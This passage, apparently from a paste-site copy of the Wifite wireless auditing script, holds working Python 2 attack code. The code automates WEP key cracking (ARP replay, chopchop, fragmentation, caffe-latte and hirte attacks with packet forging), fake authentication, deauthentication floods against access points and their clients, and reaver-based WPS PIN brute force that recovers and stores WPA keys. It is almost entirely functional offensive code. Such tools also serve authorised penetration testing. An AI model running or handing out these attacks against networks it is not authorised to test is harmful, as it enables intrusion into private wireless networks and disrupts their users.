  2783.                               (GR + current_hms + W, G, total_ivs + ivs, W, G, (ivs - last_ivs) / 5, W),
  2784.  
  2785.                         if ivs - last_ivs == 0 and time.time() - last_deauth > 30:
  2786.                             print "\r %s deauthing to generate packets..." % (GR + current_hms + W),
  2787.                             self.wep_send_deauths(self.iface, self.target, self.clients)
  2788.                             print "done\r",
  2789.                             last_deauth = time.time()
  2790.  
  2791.                         last_ivs = ivs
  2792.                         stdout.flush()
  2793.                         if total_ivs + ivs >= self.RUN_CONFIG.WEP_CRACK_AT_IVS and not started_cracking:
  2794.                             # Start cracking
  2795.                             cmd = ['aircrack-ng',
  2796.                                    '-a', '1',
  2797.                                    '-l', self.RUN_CONFIG.temp + 'wepkey.txt']
  2798.                             #temp + 'wep-01.cap']
  2799.                             # Append all .cap files in temp directory (in case we are resuming)
  2800.                             for f in os.listdir(self.RUN_CONFIG.temp):
  2801.                                 if f.startswith('wep-') and f.endswith('.cap'):
  2802.                                     cmd.append(self.RUN_CONFIG.temp + f)
  2803.  
  2804.                             print "\r %s started %s (%sover %d ivs%s)" % (
  2805.                             GR + current_hms + W, G + 'cracking' + W, G, self.RUN_CONFIG.WEP_CRACK_AT_IVS, W)
  2806.                             proc_aircrack = Popen(cmd, stdout=DN, stderr=DN)
  2807.                             started_cracking = True
  2808.  
  2809.                     # Check if key has been cracked yet.
  2810.                     if os.path.exists(self.RUN_CONFIG.temp + 'wepkey.txt'):
  2811.                         # Cracked!
  2812.                         infile = open(self.RUN_CONFIG.temp + 'wepkey.txt', 'r')
  2813.                         key = infile.read().replace('\n', '')
  2814.                         infile.close()
  2815.                         print '\n\n %s %s %s (%s)! key: "%s"' % (
  2816.                         current_hms, G + 'cracked', self.target.ssid + W, G + self.target.bssid + W, C + key + W)
  2817.                         self.RUN_CONFIG.WEP_FINDINGS.append(
  2818.                             'cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key))
  2819.                         self.RUN_CONFIG.WEP_FINDINGS.append('')
  2820.  
  2821.                         t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid)
  2822.                         t.key = key
  2823.                         self.RUN_CONFIG.save_cracked(t)
  2824.  
  2825.                         # Kill processes
  2826.                         send_interrupt(proc_airodump)
  2827.                         send_interrupt(proc_aireplay)
  2828.                         try:
  2829.                             os.kill(proc_aireplay, SIGTERM)
  2830.                         except:
  2831.                             pass
  2832.                         send_interrupt(proc_aircrack)
  2833.                         # Remove files generated by airodump/aireplay/packetforce
  2834.                         time.sleep(0.5)
  2835.                         remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2836.                         remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  2837.                         return True
  2838.  
  2839.                     # Check if aireplay is still executing
  2840.                     if proc_aireplay.poll() == None:
  2841.                         if replaying:
  2842.                             print ', ' + G + 'replaying         \r' + W,
  2843.                         elif attack_num == 1 or attack_num == 2:
  2844.                             print ', waiting for packet    \r',
  2845.                         stdout.flush()
  2846.                         continue
  2847.  
  2848.                     # At this point, aireplay has stopped
  2849.                     if attack_num != 1 and attack_num != 2:
  2850.                         print '\r %s attack failed: %saireplay-ng exited unexpectedly%s' % (R + current_hms, O, W)
  2851.                         break  # Break out of attack's While loop
  2852.  
  2853.                     # Check for a .XOR file (we expect one when doing chopchop/fragmentation
  2854.                     xor_file = ''
  2855.                     for filename in sorted(os.listdir(self.RUN_CONFIG.temp)):
  2856.                         if filename.lower().endswith('.xor'): xor_file = self.RUN_CONFIG.temp + filename
  2857.                     if xor_file == '':
  2858.                         print '\r %s attack failed: %sunable to generate keystream        %s' % (R + current_hms, O, W)
  2859.                         break
  2860.  
  2861.                     remove_file(self.RUN_CONFIG.temp + 'arp.cap')
  2862.                     cmd = ['packetforge-ng',
  2863.                            '-0',
  2864.                            '-a', self.target.bssid,
  2865.                            '-h', client_mac,
  2866.                            '-k', '192.168.1.2',
  2867.                            '-l', '192.168.1.100',
  2868.                            '-y', xor_file,
  2869.                            '-w', self.RUN_CONFIG.temp + 'arp.cap',
  2870.                            self.iface]
  2871.                     proc_pforge = Popen(cmd, stdout=PIPE, stderr=DN)
  2872.                     proc_pforge.wait()
  2873.                     forged_packet = proc_pforge.communicate()[0]
  2874.                     remove_file(xor_file)
  2875.                     if forged_packet == None: result = ''
  2876.                     forged_packet = forged_packet.strip()
  2877.                     if not forged_packet.find('Wrote packet'):
  2878.                         print "\r %s attack failed: unable to forget ARP packet               %s" % (
  2879.                         R + current_hms + O, W)
  2880.                         break
  2881.  
  2882.                     # We were able to forge a packet, so let's replay it via aireplay-ng
  2883.                     cmd = ['aireplay-ng',
  2884.                            '--ignore-negative-one',
  2885.                            '--arpreplay',
  2886.                            '-b', self.target.bssid,
  2887.                            '-r', self.RUN_CONFIG.temp + 'arp.cap',  # Used the forged ARP packet
  2888.                            '-F',  # Select the first packet
  2889.                            self.iface]
  2890.                     proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
  2891.  
  2892.                     print '\r %s forged %s! %s...         ' % (
  2893.                     GR + current_hms + W, G + 'arp packet' + W, G + 'replaying' + W)
  2894.                     replaying = True
  2895.  
  2896.                 # After the attacks, if we are already cracking, wait for the key to be found!
  2897.                 while started_cracking:  # ivs > WEP_CRACK_AT_IVS:
  2898.                     time.sleep(5)
  2899.                     # Check number of IVs captured
  2900.                     csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wep-01.csv')[0]
  2901.                     if len(csv) > 0:
  2902.                         ivs = int(csv[0].data)
  2903.                         print GR + " [endless]" + W + " captured %s%d%s ivs, iv/sec: %s%d%s  \r" % \
  2904.                                                       (G, total_ivs + ivs, W, G, (ivs - last_ivs) / 5, W),
  2905.                         last_ivs = ivs
  2906.                         stdout.flush()
  2907.  
  2908.                     # Check if key has been cracked yet.
  2909.                     if os.path.exists(self.RUN_CONFIG.temp + 'wepkey.txt'):
  2910.                         # Cracked!
  2911.                         infile = open(self.RUN_CONFIG.temp + 'wepkey.txt', 'r')
  2912.                         key = infile.read().replace('\n', '')
  2913.                         infile.close()
  2914.                         print GR + '\n\n [endless] %s %s (%s)! key: "%s"' % (
  2915.                         G + 'cracked', self.target.ssid + W, G + self.target.bssid + W, C + key + W)
  2916.                         self.RUN_CONFIG.WEP_FINDINGS.append(
  2917.                             'cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key))
  2918.                         self.RUN_CONFIG.WEP_FINDINGS.append('')
  2919.  
  2920.                         t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid)
  2921.                         t.key = key
  2922.                         self.RUN_CONFIG.save_cracked(t)
  2923.  
  2924.                         # Kill processes
  2925.                         send_interrupt(proc_airodump)
  2926.                         send_interrupt(proc_aireplay)
  2927.                         send_interrupt(proc_aircrack)
  2928.                         # Remove files generated by airodump/aireplay/packetforce
  2929.                         remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2930.                         remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  2931.                         return True
  2932.  
  2933.             # Keyboard interrupt during attack
  2934.             except KeyboardInterrupt:
  2935.                 print R + '\n (^C)' + O + ' WEP attack interrupted\n' + W
  2936.  
  2937.                 send_interrupt(proc_airodump)
  2938.                 if proc_aireplay != None:
  2939.                     send_interrupt(proc_aireplay)
  2940.                 if proc_aircrack != None:
  2941.                     send_interrupt(proc_aircrack)
  2942.  
  2943.                 options = []
  2944.                 selections = []
  2945.                 if remaining_attacks > 0:
  2946.                     options.append('%scontinue%s attacking this target (%d remaining WEP attack%s)' % \
  2947.                                    (G, W, (remaining_attacks), 's' if remaining_attacks != 1 else ''))
  2948.                     selections.append(G + 'c' + W)
  2949.  
  2950.                 if self.RUN_CONFIG.TARGETS_REMAINING > 0:
  2951.                     options.append('%sskip%s     this target, move onto next target (%d remaining target%s)' % \
  2952.                                    (O, W, self.RUN_CONFIG.TARGETS_REMAINING,
  2953.                                     's' if self.RUN_CONFIG.TARGETS_REMAINING != 1 else ''))
  2954.                     selections.append(O + 's' + W)
  2955.  
  2956.                 options.append('%sexit%s     the program completely' % (R, W))
  2957.                 selections.append(R + 'e' + W)
  2958.  
  2959.                 if len(options) > 1:
  2960.                     # Ask user what they want to do, Store answer in "response"
  2961.                     print GR + ' [+]' + W + ' what do you want to do?'
  2962.                     response = ''
  2963.                     while response != 'c' and response != 's' and response != 'e':
  2964.                         for option in options:
  2965.                             print '     %s' % option
  2966.                         response = raw_input(
  2967.                             GR + ' [+]' + W + ' please make a selection (%s): ' % (', '.join(selections))).lower()[0]
  2968.                 else:
  2969.                     response = 'e'
  2970.  
  2971.                 if response == 'e' or response == 's':
  2972.                     # Exit or skip target (either way, stop this attack)
  2973.                     if self.RUN_CONFIG.WEP_SAVE:
  2974.                         # Save packets
  2975.                         save_as = re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) + '_' + self.target.bssid.replace(':',
  2976.                                                                                                                   '-') + '.cap' + W
  2977.                         try:
  2978.                             rename(self.RUN_CONFIG.temp + 'wep-01.cap', save_as)
  2979.                         except OSError:
  2980.                             print R + ' [!]' + O + ' unable to save capture file!' + W
  2981.                         else:
  2982.                             print GR + ' [+]' + W + ' packet capture ' + G + 'saved' + W + ' to ' + G + save_as + W
  2983.  
  2984.                     # Remove files generated by airodump/aireplay/packetforce
  2985.                     for filename in os.listdir('.'):
  2986.                         if filename.startswith('replay_arp-') and filename.endswith('.cap'):
  2987.                             remove_file(filename)
  2988.                     remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2989.                     remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  2990.                     print ''
  2991.                     if response == 'e':
  2992.                         self.RUN_CONFIG.exit_gracefully(0)
  2993.                     return
  2994.  
  2995.                 elif response == 'c':
  2996.                     # Continue attacks
  2997.                     # Need to backup temp/wep-01.cap and remove airodump files
  2998.                     i = 2
  2999.                     while os.path.exists(self.RUN_CONFIG.temp + 'wep-' + str(i) + '.cap'):
  3000.                         i += 1
  3001.                     copy(self.RUN_CONFIG.temp + "wep-01.cap", self.RUN_CONFIG.temp + 'wep-' + str(i) + '.cap')
  3002.                     remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  3003.  
  3004.                     # Need to restart airodump-ng, as it's been interrupted/killed
  3005.                     proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)
  3006.  
  3007.                     # Say we haven't started cracking yet, so we re-start if needed.
  3008.                     started_cracking = False
  3009.  
  3010.                     # Reset IVs counters for proper behavior
  3011.                     total_ivs += ivs
  3012.                     ivs = 0
  3013.                     last_ivs = 0
  3014.  
  3015.                     # Also need to remember to crack "temp/*.cap" instead of just wep-01.cap
  3016.                     pass
  3017.  
  3018.         if successful:
  3019.             print GR + '\n [0:00:00]' + W + ' attack complete: ' + G + 'success!' + W
  3020.         else:
  3021.             print GR + '\n [0:00:00]' + W + ' attack complete: ' + R + 'failure' + W
  3022.  
  3023.         send_interrupt(proc_airodump)
  3024.         if proc_aireplay != None:
  3025.             send_interrupt(proc_aireplay)
  3026.  
  3027.         # Remove files generated by airodump/aireplay/packetforce
  3028.         for filename in os.listdir('.'):
  3029.             if filename.startswith('replay_arp-') and filename.endswith('.cap'):
  3030.                 remove_file(filename)
  3031.         remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  3032.         remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  3033.  
  3034.     def wep_fake_auth(self, iface, target, time_to_display):
  3035.         """
  3036.            Attempt to (falsely) authenticate with a WEP access point.
  3037.            Gives 3 seconds to make each 5 authentication attempts.
  3038.            Returns True if authentication was successful, False otherwise.
  3039.        """
  3040.         max_wait = 3  # Time, in seconds, to allow each fake authentication
  3041.         max_attempts = 5  # Number of attempts to make
  3042.  
  3043.         for fa_index in xrange(1, max_attempts + 1):
  3044.             print '\r                                                            ',
  3045.             print '\r %s attempting %sfake authentication%s (%d/%d)... ' % \
  3046.                   (GR + time_to_display + W, G, W, fa_index, max_attempts),
  3047.             stdout.flush()
  3048.  
  3049.             cmd = ['aireplay-ng',
  3050.                    '--ignore-negative-one',
  3051.                    '-1', '0',  # Fake auth, no delay
  3052.                    '-a', target.bssid,
  3053.                    '-T', '1']  # Make 1 attempt
  3054.             if target.ssid != '':
  3055.                 cmd.append('-e')
  3056.                 cmd.append(target.ssid)
  3057.             cmd.append(iface)
  3058.  
  3059.             proc_fakeauth = Popen(cmd, stdout=PIPE, stderr=DN)
  3060.             started = time.time()
  3061.             while proc_fakeauth.poll() == None and time.time() - started <= max_wait: pass
  3062.             if time.time() - started > max_wait:
  3063.                 send_interrupt(proc_fakeauth)
  3064.                 print R + 'failed' + W,
  3065.                 stdout.flush()
  3066.                 time.sleep(0.5)
  3067.                 continue
  3068.  
  3069.             result = proc_fakeauth.communicate()[0].lower()
  3070.             if result.find('switching to shared key') != -1 or \
  3071.                     result.find('rejects open system'): pass
  3072.             if result.find('association successful') != -1:
  3073.                 print G + 'success!' + W
  3074.                 return True
  3075.  
  3076.             print R + 'failed' + W,
  3077.             stdout.flush()
  3078.             time.sleep(0.5)
  3079.             continue
  3080.         print ''
  3081.         return False
  3082.  
  3083.     def get_aireplay_command(self, iface, attack_num, target, clients, client_mac):
  3084.         """
  3085.            Returns aireplay-ng command line arguments based on parameters.
  3086.        """
  3087.         cmd = ''
  3088.         if attack_num == 0:
  3089.             cmd = ['aireplay-ng',
  3090.                    '--ignore-negative-one',
  3091.                    '--arpreplay',
  3092.                    '-b', target.bssid,
  3093.                    '-x', str(self.RUN_CONFIG.WEP_PPS)]  # Packets per second
  3094.             if client_mac != '':
  3095.                 cmd.append('-h')
  3096.                 cmd.append(client_mac)
  3097.             elif len(clients) > 0:
  3098.                 cmd.append('-h')
  3099.                 cmd.append(clients[0].bssid)
  3100.             cmd.append(iface)
  3101.  
  3102.         elif attack_num == 1:
  3103.             cmd = ['aireplay-ng',
  3104.                    '--ignore-negative-one',
  3105.                    '--chopchop',
  3106.                    '-b', target.bssid,
  3107.                    '-x', str(self.RUN_CONFIG.WEP_PPS),  # Packets per second
  3108.                    '-m', '60',  # Minimum packet length (bytes)
  3109.                    '-n', '82',  # Maxmimum packet length
  3110.                    '-F']  # Automatically choose the first packet
  3111.             if client_mac != '':
  3112.                 cmd.append('-h')
  3113.                 cmd.append(client_mac)
  3114.             elif len(clients) > 0:
  3115.                 cmd.append('-h')
  3116.                 cmd.append(clients[0].bssid)
  3117.             cmd.append(iface)
  3118.  
  3119.         elif attack_num == 2:
  3120.             cmd = ['aireplay-ng',
  3121.                    '--ignore-negative-one',
  3122.                    '--fragment',
  3123.                    '-b', target.bssid,
  3124.                    '-x', str(self.RUN_CONFIG.WEP_PPS),  # Packets per second
  3125.                    '-m', '100',  # Minimum packet length (bytes)
  3126.                    '-F']  # Automatically choose the first packet
  3127.             if client_mac != '':
  3128.                 cmd.append('-h')
  3129.                 cmd.append(client_mac)
  3130.             elif len(clients) > 0:
  3131.                 cmd.append('-h')
  3132.                 cmd.append(clients[0].bssid)
  3133.             cmd.append(iface)
  3134.  
  3135.         elif attack_num == 3:
  3136.             cmd = ['aireplay-ng',
  3137.                    '--ignore-negative-one',
  3138.                    '--caffe-latte',
  3139.                    '-b', target.bssid]
  3140.             if len(clients) > 0:
  3141.                 cmd.append('-h')
  3142.                 cmd.append(clients[0].bssid)
  3143.             cmd.append(iface)
  3144.  
  3145.         elif attack_num == 4:
  3146.             cmd = ['aireplay-ng', '--ignore-negative-one', '--interactive', '-b', target.bssid, '-c',
  3147.                    'ff:ff:ff:ff:ff:ff', '-t', '1', '-x', str(self.RUN_CONFIG.WEP_PPS), '-F', '-p', '0841', iface]
  3148.  
  3149.         elif attack_num == 5:
  3150.             if len(clients) == 0:
  3151.                 print R + ' [0:00:00] unable to carry out hirte attack: ' + O + 'no clients'
  3152.                 return ''
  3153.             cmd = ['aireplay-ng',
  3154.                    '--ignore-negative-one',
  3155.                    '--cfrag',
  3156.                    '-h', clients[0].bssid,
  3157.                    iface]
  3158.  
  3159.         return cmd
  3160.  
  3161.     def wep_send_deauths(self, iface, target, clients):
  3162.         """
  3163.            Sends deauth packets to broadcast and every client.
  3164.        """
  3165.         # Send deauth to broadcast
  3166.         cmd = ['aireplay-ng',
  3167.                '--ignore-negative-one',
  3168.                '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
  3169.                '-a', target.bssid,
  3170.                iface]
  3171.         call(cmd, stdout=DN, stderr=DN)
  3172.         # Send deauth to every client
  3173.         for client in clients:
  3174.             cmd = ['aireplay-ng',
  3175.                    '--ignore-negative-one',
  3176.                    '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
  3177.                    '-a', target.bssid,
  3178.                    '-h', client.bssid,
  3179.                    iface]
  3180.             call(cmd, stdout=DN, stderr=DN)
  3181.  
  3182.  
  3183. #################
  3184. # WPS FUNCTIONS #
  3185. #################
  3186. class WPSAttack(Attack):
  3187.     def __init__(self, iface, target, config):
  3188.         self.iface = iface
  3189.         self.target = target
  3190.         self.RUN_CONFIG = config
  3191.  
  3192.     def RunAttack(self):
  3193.         '''
  3194.            Abstract method for initializing the WPS attack
  3195.        '''
  3196.         self.attack_wps()
  3197.  
  3198.     def EndAttack(self):
  3199.         '''
  3200.            Abstract method for ending the WPS attack
  3201.        '''
  3202.         pass
  3203.  
  3204.     def attack_wps(self):
  3205.         """
  3206.            Mounts attack against target on iface.
  3207.            Uses "reaver" to attempt to brute force the PIN.
  3208.            Once PIN is found, PSK can be recovered.
  3209.            PSK is displayed to user and added to WPS_FINDINGS
  3210.        """
  3211.         print GR + ' [0:00:00]' + W + ' initializing %sWPS PIN attack%s on %s' % \
  3212.                                       (G, W, G + self.target.ssid + W + ' (' + G + self.target.bssid + W + ')' + W)
  3213.  
  3214.         cmd = ['reaver',
  3215.                '-i', self.iface,
  3216.                '-b', self.target.bssid,
  3217.                '-o', self.RUN_CONFIG.temp + 'out.out',  # Dump output to file to be monitored
  3218.                '-a',  # auto-detect best options, auto-resumes sessions, doesn't require input!
  3219.                '-c', self.target.channel,
  3220.                # '--ignore-locks',
  3221.                '-vv']  # verbose output
  3222.         proc = Popen(cmd, stdout=DN, stderr=DN)
  3223.  
  3224.         cracked = False  # Flag for when password/pin is found
  3225.         percent = 'x.xx%'  # Percentage complete
  3226.         aps = 'x'  # Seconds per attempt
  3227.         time_started = time.time()
  3228.         last_success = time_started  # Time of last successful attempt
  3229.         last_pin = ''  # Keep track of last pin tried (to detect retries)
  3230.         retries = 0  # Number of times we have attempted this PIN
  3231.         tries_total = 0  # Number of times we have attempted all pins
  3232.         tries = 0  # Number of successful attempts
  3233.         pin = ''
  3234.         key = ''
  3235.  
  3236.         try:
  3237.             while not cracked:
  3238.                 time.sleep(1)
  3239.  
  3240.                 if proc.poll() != None:
  3241.                     # Process stopped: Cracked? Failed?
  3242.                     inf = open(self.RUN_CONFIG.temp + 'out.out', 'r')
  3243.                     lines = inf.read().split('\n')
  3244.                     inf.close()
  3245.                     for line in lines:
  3246.                         # When it's cracked:
  3247.                         if line.find("WPS PIN: '") != -1:
  3248.                             pin = line[line.find("WPS PIN: '") + 10:-1]
  3249.                         if line.find("WPA PSK: '") != -1:
  3250.                             key = line[line.find("WPA PSK: '") + 10:-1]
  3251.                             cracked = True
  3252.                     break
  3253.  
  3254.                 if not os.path.exists(self.RUN_CONFIG.temp + 'out.out'): continue
  3255.  
  3256.                 inf = open(self.RUN_CONFIG.temp + 'out.out', 'r')
  3257.                 lines = inf.read().split('\n')
  3258.                 inf.close()
  3259.  
  3260.                 for line in lines:
  3261.                     if line.strip() == '': continue
  3262.                     # Status
  3263.                     if line.find(' complete @ ') != -1 and len(line) > 8:
  3264.                         percent = line.split(' ')[1]
  3265.                         i = line.find(' (')
  3266.                         j = line.find(' seconds/', i)
  3267.                         if i != -1 and j != -1: aps = line[i + 2:j]
  3268.                     # PIN attempt
  3269.                     elif line.find(' Trying pin ') != -1:
  3270.                         pin = line.strip().split(' ')[-1]
  3271.                         if pin == last_pin:
  3272.                             retries += 1
  3273.                         elif tries_total == 0:
  3274.                             last_pin = pin
  3275.                             tries_total -= 1
  3276.                         else:
  3277.                             last_success = time.time()
  3278.                             tries += 1
  3279.                             last_pin = pin
  3280.                             retries = 0
  3281.                         tries_total += 1
  3282.  
  3283.                     # Warning
  3284.                     elif line.endswith('10 failed connections in a row'):
  3285.                         pass
  3286.  
  3287.                     # Check for PIN/PSK
  3288.                     elif line.find("WPS PIN: '") != -1:
  3289.                         pin = line[line.find("WPS PIN: '") + 10:-1]
  3290.                     elif line.find("WPA PSK: '") != -1:
  3291.                         key = line[line.find("WPA PSK: '") + 10:-1]
  3292.                         cracked = True
  3293.                     if cracked: break
  3294.  
  3295.                 print ' %s WPS attack, %s success/ttl,' % \
  3296.                       (GR + sec_to_hms(time.time() - time_started) + W, \
  3297.                        G + str(tries) + W + '/' + O + str(tries_total) + W),
  3298.  
  3299.                 if percent == 'x.xx%' and aps == 'x':
  3300.                     print '\r',
  3301.                 else:
  3302.                     print '%s complete (%s sec/att)   \r' % (G + percent + W, G + aps + W),
  3303.  
  3304.                 if self.RUN_CONFIG.WPS_TIMEOUT > 0 and (time.time() - last_success) > self.RUN_CONFIG.WPS_TIMEOUT:
  3305.                     print R + '\n [!]' + O + ' unable to complete successful try in %d seconds' % (
  3306.                     self.RUN_CONFIG.WPS_TIMEOUT)
  3307.                     print R + ' [+]' + W + ' skipping %s' % (O + self.target.ssid + W)
  3308.                     break
  3309.  
  3310.                 if self.RUN_CONFIG.WPS_MAX_RETRIES > 0 and retries > self.RUN_CONFIG.WPS_MAX_RETRIES:
  3311.                     print R + '\n [!]' + O + ' unable to complete successful try in %d retries' % (
  3312.                     self.RUN_CONFIG.WPS_MAX_RETRIES)
  3313.                     print R + ' [+]' + O + ' the access point may have WPS-locking enabled, or is too far away' + W
  3314.                     print R + ' [+]' + W + ' skipping %s' % (O + self.target.ssid + W)
  3315.                     break
  3316.  
  3317.                 if self.RUN_CONFIG.WPS_RATIO_THRESHOLD > 0.0 and tries > 0 and (
  3318.                     float(tries) / tries_total) < self.RUN_CONFIG.WPS_RATIO_THRESHOLD:
  3319.                     print R + '\n [!]' + O + ' successful/total attempts ratio was too low (< %.2f)' % (
  3320.                     self.RUN_CONFIG.WPS_RATIO_THRESHOLD)
  3321.                     print R + ' [+]' + W + ' skipping %s' % (G + self.target.ssid + W)
  3322.                     break
  3323.  
  3324.                 stdout.flush()
  3325.                 # Clear out output file if bigger than 1mb
  3326.                 inf = open(self.RUN_CONFIG.temp + 'out.out', 'w')
  3327.                 inf.close()
  3328.  
  3329.             # End of big "while not cracked" loop
  3330.  
  3331.             if cracked:
  3332.                 if pin != '': print GR + '\n\n [+]' + G + ' PIN found:     %s' % (C + pin + W)
  3333.                 if key != '': print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W)
  3334.                 self.RUN_CONFIG.WPA_FINDINGS.append(W + "found %s's WPA key: \"%s\", WPS PIN: %s" % (
  3335.                 G + self.target.ssid + W, C + key + W, C + pin + W))
  3336.                 self.RUN_CONFIG.WPA_FINDINGS.append('')
  3337.  
  3338.                 t = Target(self.target.bssid, 0, 0, 0, 'WPA', self.target.ssid)
  3339.                 t.key = key
  3340.                 t.wps = pin
  3341.                 self.RUN_CONFIG.save_cracked(t)
  3342.  
  3343.         except KeyboardInterrupt:
  3344.             print R + '\n (^C)' + O + ' WPS brute-force attack interrupted' + W
  3345.             if attack_interrupted_prompt():
  3346.                 send_interrupt(proc)
  3347.                 print ''
  3348.                 self.RUN_CONFIG.exit_gracefully(0)
  3349.  
  3350.         send_interrupt(proc)
  3351.  
  3352.         return cracked
  3353.  
  3354.  
  3355. if __name__ == '__main__':
  3356.     RUN_CONFIG = RunConfiguration()
  3357.     try:
  3358.         banner(RUN_CONFIG)
  3359.         engine = RunEngine(RUN_CONFIG)
  3360.         engine.Start()
  3361.         #main(RUN_CONFIG)
  3362.     except KeyboardInterrupt:
  3363.         print R + '\n (^C)' + O + ' interrupted\n' + W
  3364.     except EOFError:
  3365.         print R + '\n (^D)' + O + ' interrupted\n' + W
  3366.  
  3367.     RUN_CONFIG.exit_gracefully(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement